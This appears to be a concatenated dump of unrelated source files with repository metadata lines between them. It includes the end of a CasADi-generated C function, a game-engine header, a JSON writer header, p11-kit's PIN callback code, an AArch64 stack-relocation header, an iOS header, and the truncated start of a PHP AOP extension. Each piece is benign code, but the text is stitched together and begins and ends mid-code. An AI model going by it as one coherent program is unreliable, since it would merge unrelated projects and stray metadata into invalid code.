a346=(a346*a197); a350=(a350+a346); a347=(a187*a347); a350=(a350+a347); a623=(a623*a672); a350=(a350-a623); a391=(a391*a579); a350=(a350-a391); a498=(a498*a527); a350=(a350-a498); a415=(a415*a434); a350=(a350-a415); a350=(a350/a341); a325=(a325*a350); a214=(a214-a325); a272=(a272*a90); a263=(a263*a477); a272=(a272-a263); a264=(a264*a198); a272=(a272+a264); a267=(a267*a197); a272=(a272+a267); a187=(a187*a268); a272=(a272+a187); a613=(a613*a672); a272=(a272-a613); a317=(a317*a579); a272=(a272-a317); a488=(a488*a527); a272=(a272-a488); a405=(a405*a434); a272=(a272-a405); a331=(a331*a350); a272=(a272-a331); a272=(a272/a262); a256=(a256*a272); a214=(a214-a256); a214=(a214/a206); if (res[0]!=0) res[0][86]=a214; if (res[0]!=0) res[0][87]=a272; if (res[0]!=0) res[0][88]=a350; if (res[0]!=0) res[0][89]=a434; if (res[0]!=0) res[0][90]=a527; return 0; } CASADI_SYMBOL_EXPORT int Imp_B_par(const casadi_real** arg, casadi_real** res, casadi_int* iw, casadi_real* w, int mem){ return casadi_f0(arg, res, iw, w, mem); } CASADI_SYMBOL_EXPORT int Imp_B_par_alloc_mem(void) { return 0; } CASADI_SYMBOL_EXPORT int Imp_B_par_init_mem(int mem) { return 0; } CASADI_SYMBOL_EXPORT void Imp_B_par_free_mem(int mem) { } CASADI_SYMBOL_EXPORT int Imp_B_par_checkout(void) { return 0; } CASADI_SYMBOL_EXPORT void Imp_B_par_release(int mem) { } CASADI_SYMBOL_EXPORT void Imp_B_par_incref(void) { } CASADI_SYMBOL_EXPORT void Imp_B_par_decref(void) { } CASADI_SYMBOL_EXPORT casadi_int Imp_B_par_n_in(void) { return 1;} CASADI_SYMBOL_EXPORT casadi_int Imp_B_par_n_out(void) { return 1;} CASADI_SYMBOL_EXPORT casadi_real Imp_B_par_default_in(casadi_int i){ switch (i) { default: return 0; } } CASADI_SYMBOL_EXPORT const char* Imp_B_par_name_in(casadi_int i){ switch (i) { case 0: return "i0"; default: return 0; } } CASADI_SYMBOL_EXPORT const char* Imp_B_par_name_out(casadi_int i){ switch (i) { case 0: return "o0"; default: return 0; } } CASADI_SYMBOL_EXPORT const casadi_int* Imp_B_par_sparsity_in(casadi_int i) { switch (i) { case 0: return casadi_s0; default: return 0; } } CASADI_SYMBOL_EXPORT const casadi_int* Imp_B_par_sparsity_out(casadi_int i) { switch (i) { case 0: return casadi_s1; default: return 0; } } CASADI_SYMBOL_EXPORT int Imp_B_par_work(casadi_int *sz_arg, casadi_int* sz_res, casadi_int *sz_iw, casadi_int *sz_w) { if (sz_arg) *sz_arg = 1; if (sz_res) *sz_res = 1; if (sz_iw) *sz_iw = 0; if (sz_w) *sz_w = 0; return 0; } #ifdef __cplusplus } /* extern "C" */ #endif
20.715926
4,002
0.559015
2fc4a0a0b7bcb58c4392fc652ddc559ac0d1a177
717
h
C
ogsr_engine/xrGame/script_action_planner_wrapper.h
stepa2/OGSR-Engine
32a23aa30506684be1267d9c4fc272350cd167c5
[ "Apache-2.0" ]
247
2018-11-02T18:50:55.000Z
2022-03-15T09:11:43.000Z
ogsr_engine/xrGame/script_action_planner_wrapper.h
stepa2/OGSR-Engine
32a23aa30506684be1267d9c4fc272350cd167c5
[ "Apache-2.0" ]
193
2018-11-02T20:12:44.000Z
2022-03-07T13:35:17.000Z
ogsr_engine/xrGame/script_action_planner_wrapper.h
stepa2/OGSR-Engine
32a23aa30506684be1267d9c4fc272350cd167c5
[ "Apache-2.0" ]
106
2018-10-26T11:33:01.000Z
2022-03-19T12:34:20.000Z
//////////////////////////////////////////////////////////////////////////// // Module : script_action_planner_wrapper.h // Created : 19.03.2004 // Modified : 26.03.2004 // Author : Dmitriy Iassenev // Description : Script action planner wrapper //////////////////////////////////////////////////////////////////////////// #pragma once #include "action_planner.h" class CScriptActionPlannerWrapper : public CScriptActionPlanner, public luabind::wrap_base { public: virtual void setup (CScriptGameObject *object); static void setup_static (CScriptActionPlanner *planner, CScriptGameObject *object); virtual void update (); static void update_static (CScriptActionPlanner *planner); };
35.85
92
0.587169
2fc505b6dcf3063298bae8178a0affcfbe5ac9d1
5,159
h
C
include/json-toolkit/stringify.h
bandicode/json-toolkit
cf7ba918a6d4c1599374cba18fb3ed8febeece68
[ "MIT" ]
null
null
null
include/json-toolkit/stringify.h
bandicode/json-toolkit
cf7ba918a6d4c1599374cba18fb3ed8febeece68
[ "MIT" ]
null
null
null
include/json-toolkit/stringify.h
bandicode/json-toolkit
cf7ba918a6d4c1599374cba18fb3ed8febeece68
[ "MIT" ]
null
null
null
// Copyright (C) 2019 Vincent Chambrin // This file is part of the json-toolkit library // For conditions of distribution and use, see copyright notice in LICENSE #ifndef JSONTOOLKIT_STRINGIFY_H #define JSONTOOLKIT_STRINGIFY_H #include "json-toolkit/json.h" namespace json { enum StringifyOptions { None = 0, }; std::string stringify(const json::Json& data, StringifyOptions options = None); enum class WriterState { Idle, StartedObject, WroteObjectKey, WroteObjectValue, StartedArray, WroteArrayValue, }; template<typename Backend> class GenericWriter { public: GenericWriter() : m_key_quotes(CharCategory::Invalid), m_depth(0) { m_states.push_back(WriterState::Idle); } inline WriterState state() const { return m_states.back(); } inline const std::vector<WriterState>& stack() const { return m_states; } inline Backend& backend() { return m_backend; } void value(std::nullptr_t) { writeArraySeparator(); backend() << nullptr; update(); } void value(bool val) { writeArraySeparator(); backend() << val; update(); } void value(int val) { writeArraySeparator(); backend() << val; update(); } void value(double val) { writeArraySeparator(); backend() << val; update(); } void value(const std::string& str) { writeArraySeparator(); backend() << CharCategory::DoubleQuote << str << CharCategory::DoubleQuote; update(); } void start_object() { writeArraySeparator(); backend() << CharCategory::LBrace; enter(WriterState::StartedObject); } void key(const std::string& str) { if (state() == WriterState::WroteObjectValue) { backend() << CharCategory::Comma << CharCategory::NewLine; } else if (state() == WriterState::StartedObject) { backend() << CharCategory::NewLine; } else { throw std::runtime_error{ "Invalid writer state" }; } indent(); backend() << CharCategory::DoubleQuote << str << CharCategory::DoubleQuote << CharCategory::Colon << CharCategory::Space; update(WriterState::WroteObjectKey); } void end_object() { if (state() == WriterState::StartedObject) { backend() << CharCategory::RBrace; } else if (state() == WriterState::WroteObjectValue) { backend() << CharCategory::NewLine; indent(-1); backend() << CharCategory::RBrace; } leave(); } void start_array() { writeArraySeparator(); backend() << CharCategory::LBracket; enter(WriterState::StartedArray); } void end_array() { if (state() == WriterState::StartedArray || state() == WriterState::WroteArrayValue) { backend() << CharCategory::RBracket; } else { throw std::runtime_error("Invalid state in end_array"); } leave(); } protected: void update(WriterState ws) { m_states.back() = ws; } void enter(WriterState ws) { m_states.push_back(ws); } void leave() { m_states.pop_back(); if (state() == WriterState::WroteObjectKey) update(WriterState::WroteObjectValue); else if (state() == WriterState::StartedArray) update(WriterState::WroteArrayValue); } void indent(int delta = 0) { for (size_t i(0); i < stack().size() - 1 + delta; ++i) { backend() << CharCategory::Space << CharCategory::Space; } } // Update state after writing a value void update() { if (state() == WriterState::StartedArray) update(WriterState::WroteArrayValue); else if (state() == WriterState::WroteObjectKey) update(WriterState::WroteObjectValue); } void writeArraySeparator() { if (state() == WriterState::WroteArrayValue) { backend() << CharCategory::Comma << CharCategory::Space; } } private: CharCategory m_key_quotes; int m_depth; Backend m_backend; std::vector<WriterState> m_states; }; } // namespace json #include "json-default-writer-backend.h" namespace json { namespace details { inline void write(GenericWriter<DefaultWriterBackend>& writer, const json::Json& data) { if (data.isArray()) { writer.start_array(); for (int i(0); i < data.length(); ++i) { write(writer, data.at(i)); } writer.end_array(); } else if (data.isObject()) { writer.start_object(); Object obj = data.toObject(); for (const auto& e : obj.data()) { writer.key(e.first); write(writer, e.second); } writer.end_object(); } else if (data.isNull()) { writer.value(nullptr); } else if (data.isBoolean()) { writer.value(data.toBool()); } else if (data.isInteger()) { writer.value(data.toInt()); } else if (data.isNumber()) { writer.value(data.toNumber()); } else if (data.isString()) { writer.value(data.toString()); } } } // namespace details inline std::string stringify(const json::Json& data, StringifyOptions options) { GenericWriter<DefaultWriterBackend> writer; details::write(writer, data); return writer.backend().result(); } } // namespace json #endif // !JSONTOOLKIT_STRINGIFY_H
18.76
127
0.632293
2fca6bc46b50a8767616f4b75a23c8bda1573543
20,978
c
C
p11-kit/pin.c
vjardin/p11-kit
f57672f1cea9d9b83dfce5b8897545a321ae5f45
[ "BSD-3-Clause" ]
87
2016-11-28T20:56:51.000Z
2022-03-03T04:51:23.000Z
p11-kit/pin.c
vjardin/p11-kit
f57672f1cea9d9b83dfce5b8897545a321ae5f45
[ "BSD-3-Clause" ]
311
2016-11-28T12:42:44.000Z
2022-02-04T07:34:52.000Z
p11-kit/pin.c
vjardin/p11-kit
f57672f1cea9d9b83dfce5b8897545a321ae5f45
[ "BSD-3-Clause" ]
77
2016-10-06T08:02:48.000Z
2022-02-21T16:25:35.000Z
/* * Copyright (C) 2011 Collabora Ltd. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above * copyright notice, this list of conditions and the * following disclaimer. * * Redistributions in binary form must reproduce the * above copyright notice, this list of conditions and * the following disclaimer in the documentation and/or * other materials provided with the distribution. * * The names of contributors to this software may not be * used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF * THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH * DAMAGE. * * Author: Stef Walter <stefw@collabora.co.uk> */ #include "config.h" #define P11_DEBUG_FLAG P11_DEBUG_PIN #include "debug.h" #include "dict.h" #include "library.h" #include "message.h" #include "pkcs11.h" #include "p11-kit.h" #include "pin.h" #include "private.h" #include "array.h" #include <assert.h> #include <errno.h> #include <fcntl.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /** * SECTION:p11-kit-pin * @title: PIN Callbacks * @short_description: PIN Callbacks * * Applications can register a callback which will be called to provide a * password associated with a given pin source. * * PKCS\#11 URIs can contain a 'pin-source' attribute. The value of this attribute * is application dependent, but often references a file containing a PIN to * use. * * Using these functions, an applications or libraries can register a * callback with p11_kit_pin_register_callback() to be called when a given * 'pin-source' attribute value is requested. The application can then prompt * the user or retrieve a PIN for the given context. These registered * callbacks are only relevant and valid within the current process. * * A fallback callback can be registered by passing the %P11_KIT_PIN_FALLBACK * value to p11_kit_pin_register_callback(). This fallback callback will be * called for every 'pin-source' attribute request for which no callback has been * directly registered. * * To request a PIN for a given 'pin-source' attribute, use the * p11_kit_pin_request() function. If this function returns %NULL then either * no callbacks were registered or none of them could handle the request. * * If multiple callbacks are registered for the same PIN source, then they are * called in last-registered-first-called order. They are called in turn until * one of them can handle the request. Fallback callbacks are not called if * a callback was registered specifically for a requested 'pin-source' attribute. * * PINs themselves are handled inside of P11KitPin structures. These are thread * safe and allow the callback to specify how the PIN is stored in memory * and freed. A callback can use p11_kit_pin_new_for_string() or related * functions to create a PIN to be returned. * * For example in order to handle the following PKCS\#11 URI with a 'pin-source' * attribute * * <code><literallayout> * pkcs11:id=\%69\%95\%3e\%5c\%f4\%bd\%ec\%91;pin-source=my-application * </literallayout></code> * * an application could register a callback like this: * * <informalexample><programlisting> * static P11KitPin* * my_application_pin_callback (const char *pin_source, P11KitUri *pin_uri, * const char *pin_description, P11KitPinFlags pin_flags, * void *callback_data) * { * return p11_kit_pin_new_from_string ("pin-value"); * } * * p11_kit_pin_register_callback ("my-application", my_application_pin_callback, * NULL, NULL); * </programlisting></informalexample> */ /** * P11KitPinFlags: * @P11_KIT_PIN_FLAGS_USER_LOGIN: The PIN is for a PKCS\#11 user type login. * @P11_KIT_PIN_FLAGS_SO_LOGIN: The PIN is for a PKCS\#11 security officer type login. * @P11_KIT_PIN_FLAGS_CONTEXT_LOGIN: The PIN is for a PKCS\#11 contect specific type login. * @P11_KIT_PIN_FLAGS_RETRY: The PIN is being requested again, due to an invalid previous PIN. * @P11_KIT_PIN_FLAGS_MANY_TRIES: The PIN has failed too many times, and few tries are left. * @P11_KIT_PIN_FLAGS_FINAL_TRY: The PIN has failed too many times, and this is the last try. * * Flags that are passed to p11_kit_pin_request() and registered callbacks. */ /** * P11_KIT_PIN_FALLBACK: * * Used with p11_kit_pin_register_callback() to register a fallback callback. * This callback will be called if no other callback is registered for a 'pin-source'. */ typedef struct _PinCallback { /* Only used/modified within the lock */ int refs; /* Readonly after construct */ p11_kit_pin_callback func; void *user_data; p11_kit_pin_destroy_func destroy; } PinCallback; /* * Shared data between threads, protected by the mutex, a structure so * we can audit thread safety easier. */ static struct _Shared { p11_dict *pin_sources; } gl = { NULL }; static void* ref_pin_callback (void *pointer) { PinCallback *cb = pointer; cb->refs++; return pointer; } static void unref_pin_callback (void *pointer) { PinCallback *cb = pointer; assert (cb->refs >= 1); cb->refs--; if (cb->refs == 0) { if (cb->destroy) (cb->destroy) (cb->user_data); free (cb); } } static bool register_callback_unlocked (const char *pin_source, PinCallback *cb) { p11_array *callbacks = NULL; char *name; name = strdup (pin_source); return_val_if_fail (name != NULL, false); if (gl.pin_sources == NULL) { gl.pin_sources = p11_dict_new (p11_dict_str_hash, p11_dict_str_equal, free, (p11_destroyer)p11_array_free); return_val_if_fail (gl.pin_sources != NULL, false); } if (gl.pin_sources != NULL) callbacks = p11_dict_get (gl.pin_sources, name); if (callbacks == NULL) { callbacks = p11_array_new (unref_pin_callback); return_val_if_fail (callbacks != NULL, false); if (!p11_dict_set (gl.pin_sources, name, callbacks)) return_val_if_reached (false); name = NULL; } if (!p11_array_push (callbacks, cb)) return_val_if_reached (false); free (name); return true; } /** * p11_kit_pin_register_callback: * @pin_source: the 'pin-source' attribute this this callback is for * @callback: the callback function * @callback_data: data that will be passed to the callback * @callback_destroy: a function that will be called with @callback_data when * the callback is unregistered. * * Register a callback to handle PIN requests for a given 'pin-source' attribute. * If @pin_source is set to P11_KIT_PIN_FALLBACK then this will be a fallback * callback and will be called for requests for which no other callback has * been specifically registered. * * If multiple callbacks are registered for the same @pin_source value, then * the last registered callback will be the first to be called. * * Returns: Returns negative if registering fails. */ int p11_kit_pin_register_callback (const char *pin_source, p11_kit_pin_callback callback, void *callback_data, p11_kit_pin_destroy_func callback_destroy) { PinCallback *cb; bool ret; return_val_if_fail (pin_source != NULL, -1); return_val_if_fail (callback != NULL, -1); cb = calloc (1, sizeof (PinCallback)); return_val_if_fail (cb != NULL, -1); cb->refs = 1; cb->func = callback; cb->user_data = callback_data; cb->destroy = callback_destroy; p11_lock (); ret = register_callback_unlocked (pin_source, cb); p11_unlock (); return ret ? 0 : -1; } /** * p11_kit_pin_unregister_callback: * @pin_source: the 'pin-source' attribute the callback was registered for * @callback: the callback function that was registered * @callback_data: data that was registered for the callback * * Unregister a callback that was previously registered with the * p11_kit_pin_register_callback() function. If more than one registered * callback matches the given arguments, then only one of those will be * removed. */ void p11_kit_pin_unregister_callback (const char *pin_source, p11_kit_pin_callback callback, void *callback_data) { PinCallback *cb; p11_array *callbacks; unsigned int i; return_if_fail (pin_source != NULL); return_if_fail (callback != NULL); p11_lock (); if (gl.pin_sources) { callbacks = p11_dict_get (gl.pin_sources, pin_source); if (callbacks) { for (i = 0; i < callbacks->num; i++) { cb = callbacks->elem[i]; if (cb->func == callback && cb->user_data == callback_data) { p11_array_remove (callbacks, i); break; } } if (callbacks->num == 0) p11_dict_remove (gl.pin_sources, pin_source); } /* When there are no more pin sources, get rid of the hash table */ if (p11_dict_size (gl.pin_sources) == 0) { p11_dict_free (gl.pin_sources); gl.pin_sources = NULL; } } p11_unlock (); } /** * p11_kit_pin_request: * @pin_source: the 'pin-source' attribute that is being requested * @pin_uri: a PKCS\#11 URI that the PIN is being requested for, optionally %NULL. * @pin_description: a description of what the PIN is for, must not be %NULL. * @pin_flags: various flags for this request * * Request a PIN for a given 'pin-source' attribute. The result depends on the * registered callbacks. * * If not %NULL, then the @pin_uri attribute should point to the thing that the * PIN is being requested for. In most use cases this should be a PKCS\#11 URI * pointing to a token. * * The @pin_description should always be specified. It is a string describing * what the PIN is for. For example this would be the token label, if the PIN * is for a token. * * If more than one callback is registered for the @pin_source, then the latest * registered one will be called first. If that callback does not return a * PIN, then the next will be called in turn. * * If no callback is registered for @pin_source, then the fallback callbacks will * be invoked in the same way. The fallback callbacks will not be called if any * callback has been registered specifically for @pin_source. * * The PIN returned should be released with p11_kit_pin_unref(). * * Returns: the PIN which should be released with p11_kit_pin_unref(), or %NULL * if no callback was registered or could proivde a PIN */ P11KitPin * p11_kit_pin_request (const char *pin_source, P11KitUri *pin_uri, const char *pin_description, P11KitPinFlags pin_flags) { PinCallback **snapshot = NULL; unsigned int snapshot_count = 0; p11_array *callbacks; P11KitPin *pin; unsigned int i; return_val_if_fail (pin_source != NULL, NULL); p11_lock (); /* Find and ref the pin source data */ if (gl.pin_sources) { callbacks = p11_dict_get (gl.pin_sources, pin_source); /* If we didn't find any snapshots try the global ones */ if (callbacks == NULL) callbacks = p11_dict_get (gl.pin_sources, P11_KIT_PIN_FALLBACK); if (callbacks != NULL && callbacks->num) { snapshot = memdup (callbacks->elem, sizeof (void *) * callbacks->num); snapshot_count = callbacks->num; for (i = 0; snapshot && i < snapshot_count; i++) ref_pin_callback (snapshot[i]); } } p11_unlock (); if (snapshot == NULL) return NULL; for (pin = NULL, i = snapshot_count; pin == NULL && i > 0; i--) { pin = (snapshot[i - 1]->func) (pin_source, pin_uri, pin_description, pin_flags, snapshot[i - 1]->user_data); } p11_lock (); for (i = 0; i < snapshot_count; i++) unref_pin_callback (snapshot[i]); free (snapshot); p11_unlock (); return pin; } /** * p11_kit_pin_callback: * @pin_source: a 'pin-source' attribute string * @pin_uri: a PKCS\#11 URI that the PIN is for, or %NULL * @pin_description: a descrption of what the PIN is for * @pin_flags: flags describing the PIN request * @callback_data: data that was provided when registering this callback * * Represents a PIN callback function. * * The various arguments are the same as the ones passed to * p11_kit_pin_request(). The @callback_data argument was the one passed to * p11_kit_pin_register_callback() when registering this callback. * * The function should return %NULL if it could not provide a PIN, either * because of an error or a user cancellation. * * If a PIN is returned, it will be unreferenced by the caller. So it should be * either newly allocated, or referenced before returning. * * Returns: A PIN or %NULL */ /** * p11_kit_pin_destroy_func: * @data: the data to destroy * * A function called to free or cleanup @data. */ /** * p11_kit_pin_file_callback: * @pin_source: a 'pin-source' attribute string * @pin_uri: a PKCS\#11 URI that the PIN is for, or %NULL * @pin_description: a descrption of what the PIN is for * @pin_flags: flags describing the PIN request * @callback_data: unused, should be %NULL * * This is a PIN callback function that looks up the 'pin-source' attribute in * a file with that name. This can be used to enable the normal PKCS\#11 URI * behavior described in the RFC. * * If @pin_flags contains the %P11_KIT_PIN_FLAGS_RETRY flag, then this * callback will always return %NULL. This is to prevent endless loops * where an application is expecting to interact with a prompter, but * instead is interacting with this callback reading a file over and over. * * This callback fails on files larger than 4 Kilobytes. * * This callback is not registered by default. It may have security * implications depending on the source of the PKCS\#11 URI and the PKCS\#11 * in use. To register it, use code like the following: * * <informalexample><programlisting> * p11_kit_pin_register_callback (P11_KIT_PIN_FALLBACK, p11_kit_pin_file_callback, * NULL, NULL); * </programlisting></informalexample> * * Returns: a referenced PIN with the file contents, or %NULL if the file * could not be read */ P11KitPin * p11_kit_pin_file_callback (const char *pin_source, P11KitUri *pin_uri, const char *pin_description, P11KitPinFlags pin_flags, void *callback_data) { const size_t block = 1024; unsigned char *buffer; unsigned char *memory; size_t used, allocated; int error = 0; int fd; int res; return_val_if_fail (pin_source != NULL, NULL); /* We don't support retries */ if (pin_flags & P11_KIT_PIN_FLAGS_RETRY) return NULL; fd = open (pin_source, O_BINARY | O_RDONLY | O_CLOEXEC); if (fd == -1) return NULL; buffer = NULL; used = 0; allocated = 0; for (;;) { if (used + block > 4096) { error = EFBIG; break; } if (used + block > allocated) { memory = realloc (buffer, used + block); if (memory == NULL) { error = ENOMEM; break; } buffer = memory; allocated = used + block; } res = read (fd, buffer + used, allocated - used); if (res < 0) { if (errno == EAGAIN) continue; error = errno; break; } else if (res == 0) { break; } else { used += res; } } close (fd); if (error != 0) { free (buffer); errno = error; return NULL; } return p11_kit_pin_new_for_buffer (buffer, used, free); } /** * P11KitPin: * * A structure representing a PKCS\#11 PIN. There are no public fields * visible in this structure. Use the various accessor functions. */ struct p11_kit_pin { int ref_count; unsigned char *buffer; size_t length; p11_kit_pin_destroy_func destroy; }; /** * p11_kit_pin_new: * @value: the value of the PIN * @length: the length of @value * * Create a new P11KitPin with the given PIN value. This function is * usually used from within registered PIN callbacks. * * Exactly @length bytes from @value are used. Null terminated strings, * or encodings are not considered. A copy of the @value will be made. * * Returns: The newly allocated P11KitPin, which should be freed with * p11_kit_pin_unref() when no longer needed. */ P11KitPin * p11_kit_pin_new (const unsigned char *value, size_t length) { unsigned char *copy; P11KitPin *pin; copy = malloc (length); return_val_if_fail (copy != NULL, NULL); memcpy (copy, value, length); pin = p11_kit_pin_new_for_buffer (copy, length, free); return_val_if_fail (pin != NULL, NULL); return pin; } /** * p11_kit_pin_new_for_string: * @value: the value of the PIN * * Create a new P11KitPin for the given null-terminated string, such as a * password. This function is usually used from within registered * PIN callbacks. * * The PIN will consist of the string not including the null terminator. * String encoding is not considered. A copy of the @value will be made. * * Returns: The newly allocated P11KitPin, which should be freed with * p11_kit_pin_unref() when no longer needed. */ P11KitPin * p11_kit_pin_new_for_string (const char *value) { return p11_kit_pin_new ((const unsigned char *)value, strlen (value)); } /** * p11_kit_pin_new_for_buffer: * @buffer: the value of the PIN * @length: the length of @buffer * @destroy: if not %NULL, then called when PIN is destroyed. * * Create a new P11KitPin which will use @buffer for the PIN value. * This function is usually used from within registered PIN callbacks. * * The buffer will not be copied. String encodings and null characters * are not considered. * * When the last reference to this PIN is lost, then the @destroy callback * function will be called passing @buffer as an argument. This allows the * caller to use a buffer as a PIN without copying it. * * <informalexample><programlisting> * char *buffer = malloc (128); * P11KitPin *pin; * .... * pin = p11_kit_pin_new_for_buffer (buffer, 128, free); * </programlisting></informalexample> * * Returns: The newly allocated P11KitPin, which should be freed with * p11_kit_pin_unref() when no longer needed. */ P11KitPin * p11_kit_pin_new_for_buffer (unsigned char *buffer, size_t length, p11_kit_pin_destroy_func destroy) { P11KitPin *pin; pin = calloc (1, sizeof (P11KitPin)); return_val_if_fail (pin != NULL, NULL); pin->ref_count = 1; pin->buffer = buffer; pin->length = length; pin->destroy = destroy; return pin; } /** * p11_kit_pin_get_value: * @pin: the P11KitPin * @length: a location to return the value length * * Get the PIN value from a P11KitPin. @length will be set to the * length of the value. * * The value returned is owned by the P11KitPin and should not be modified. * It remains valid as long as a reference to the PIN is held. The PIN value * will not contain an extra null-terminator character. * * Returns: the value for the PIN. */ const unsigned char * p11_kit_pin_get_value (P11KitPin *pin, size_t *length) { if (length) *length = pin->length; return pin->buffer; } /** * p11_kit_pin_get_length * @pin: the P11KitPin * * Get the length of the PIN value from a P11KitPin. * * Returns: the length of the PIN value. */ size_t p11_kit_pin_get_length (P11KitPin *pin) { return pin->length; } /** * p11_kit_pin_ref: * @pin: the P11KitPin * * Add a reference to a P11KitPin. This should be matched with a later call * to p11_kit_pin_unref(). As long as at least one reference is held, the PIN * will remain valid and in memory. * * Returns: the @pin pointer, for convenience sake. */ P11KitPin * p11_kit_pin_ref (P11KitPin *pin) { p11_lock (); pin->ref_count++; p11_unlock (); return pin; } /** * p11_kit_pin_unref: * @pin: the P11KitPin * * Remove a reference from a P11KitPin. When all references have been removed * then the PIN will be freed and will no longer be in memory. */ void p11_kit_pin_unref (P11KitPin *pin) { bool last = false; p11_lock (); last = (pin->ref_count == 1); pin->ref_count--; p11_unlock (); if (last) { if (pin->destroy) (pin->destroy) (pin->buffer); free (pin); } }
29.756028
94
0.698255
2fcb3a2bbe19baa3dd9b11c6ebd75096c9ec145f
1,081
h
C
arch/aarch64/stack_arch.h
systems-nuts/musl-stack-reloc
5c2c6e075cf5758cc22f1bf5d1db3326b4b8e26e
[ "MIT" ]
null
null
null
arch/aarch64/stack_arch.h
systems-nuts/musl-stack-reloc
5c2c6e075cf5758cc22f1bf5d1db3326b4b8e26e
[ "MIT" ]
null
null
null
arch/aarch64/stack_arch.h
systems-nuts/musl-stack-reloc
5c2c6e075cf5758cc22f1bf5d1db3326b4b8e26e
[ "MIT" ]
null
null
null
/* Original version by the musl authors */ /* Current version by Antonio Barbalace, Stevens 2019 */ #define arch_stack_get() \ ({ unsigned long stack_ptr =-1; \ __asm__ volatile ("mov %0, sp\n\t" \ : "=r" (stack_ptr) \ : : "memory"); \ stack_ptr; }) /* stack relocation configuration parameters */ #define STACK_MB (1024*1024) #define STACK_SIZE (16*STACK_MB) #define STACK_END_ADDR (0x800000000000) #define STACK_START_ADDR (STACK_END_ADDR - STACK_SIZE) #define STACK_PAGE_SIZE (4096) #define STACK_MAPPED_PAGES (32) #define STACK_RELOC_PAGE_ALIGN 5 #define STACK_RELOC_OFFSET 0x40 /* stack relocation arch dep macros */ #define arch_stack_switch(stack_top, stack_offset) \ ({ __asm__ volatile("sub %1, %0, %1 \n\t" \ "mov sp, %1 \n\t" \ : :"r" (stack_top), "r" (stack_offset) \ : "memory"); }) /* TODO maybe move the following */ //applies to linux only #define arch_vvar_get_pagesz() (STACK_PAGE_SIZE *1) // per arch/platform (wasn't able to find this anywhere else in the code) #define arch_vaddr_max() (0x1000000000000)
26.365854
73
0.689177
2fcc46d4ede499429b2b761377d14172118629c8
297
h
C
StellarNews/BeXRBDetailsViewController.h
cvillavicencio01/StellarNews
7b666faffc0df00e9d03a99b53b41a1eca0fa331
[ "MIT" ]
null
null
null
StellarNews/BeXRBDetailsViewController.h
cvillavicencio01/StellarNews
7b666faffc0df00e9d03a99b53b41a1eca0fa331
[ "MIT" ]
null
null
null
StellarNews/BeXRBDetailsViewController.h
cvillavicencio01/StellarNews
7b666faffc0df00e9d03a99b53b41a1eca0fa331
[ "MIT" ]
null
null
null
// // BeXRBViewController.h // StellarNews // // Created by Carlos Villavicencio on 04/14/15. // Copyright (c) 2015 MindsLab. All rights reserved. // #import <UIKit/UIKit.h> @interface BeXRBDetailsViewController : UIViewController @property (nonatomic, strong) NSDictionary *arrayData; @end
21.214286
56
0.744108
2fce5695f531695961c8f014834b7f13292c91b7
33,386
c
C
php7/aop_execute.c
kysaeed/AOP
59d6bc1b722955093bbca0bb316962a617ba23ed
[ "PHP-3.01" ]
null
null
null
php7/aop_execute.c
kysaeed/AOP
59d6bc1b722955093bbca0bb316962a617ba23ed
[ "PHP-3.01" ]
null
null
null
php7/aop_execute.c
kysaeed/AOP
59d6bc1b722955093bbca0bb316962a617ba23ed
[ "PHP-3.01" ]
null
null
null
/* +----------------------------------------------------------------------+ | PHP Version 7 | +----------------------------------------------------------------------+ | Copyright (c) 1997-2016 The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Author: pangudashu@gmail.com | +----------------------------------------------------------------------+ */ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include "php.h" #include "php_ini.h" #include "ext/standard/info.h" #include "ext/standard/php_string.h" #include "ext/pcre/php_pcre.h" #include "php_aop.h" #include "aop_joinpoint.h" static int strcmp_with_joker_case(char *str_with_jok, char *str, int case_sensitive) /*{{{*/ { int joker = 0; if (str_with_jok[0] == '*') { if (str_with_jok[1] == '\0') { return 1; } } if (str_with_jok[0] == '*') { if (case_sensitive) { return !strcmp(str_with_jok+1, str+(strlen(str)-(strlen(str_with_jok)-1))); } else { return !strcasecmp(str_with_jok+1, str+(strlen(str)-(strlen(str_with_jok)-1))); } } if (str_with_jok[strlen(str_with_jok)-1] == '*') { if (case_sensitive) { return !strncmp(str_with_jok, str, strlen(str_with_jok)-1); } else { return !strncasecmp(str_with_jok, str, strlen(str_with_jok)-1); } } if (case_sensitive) { return !strcmp(str_with_jok, str); } else { return !strcasecmp(str_with_jok, str); } } /*}}}*/ static int pointcut_match_zend_class_entry(pointcut *pc, zend_class_entry *ce) /*{{{*/ { int i, matches; matches = pcre_exec(pc->re_class, NULL, ZSTR_VAL(ce->name), ZSTR_LEN(ce->name), 0, 0, NULL, 0); if (matches >= 0) { return 1; } for (i = 0; i < (int) ce->num_interfaces; i++) { matches = pcre_exec(pc->re_class, NULL, ZSTR_VAL(ce->interfaces[i]->name), ZSTR_LEN(ce->interfaces[i]->name), 0, 0, NULL, 0); if (matches >= 0) { return 1; } } for (i = 0; i < (int) ce->num_traits; i++) { matches = pcre_exec(pc->re_class, NULL, ZSTR_VAL(ce->traits[i]->name), ZSTR_LEN(ce->traits[i]->name), 0, 0, NULL, 0); if (matches>=0) 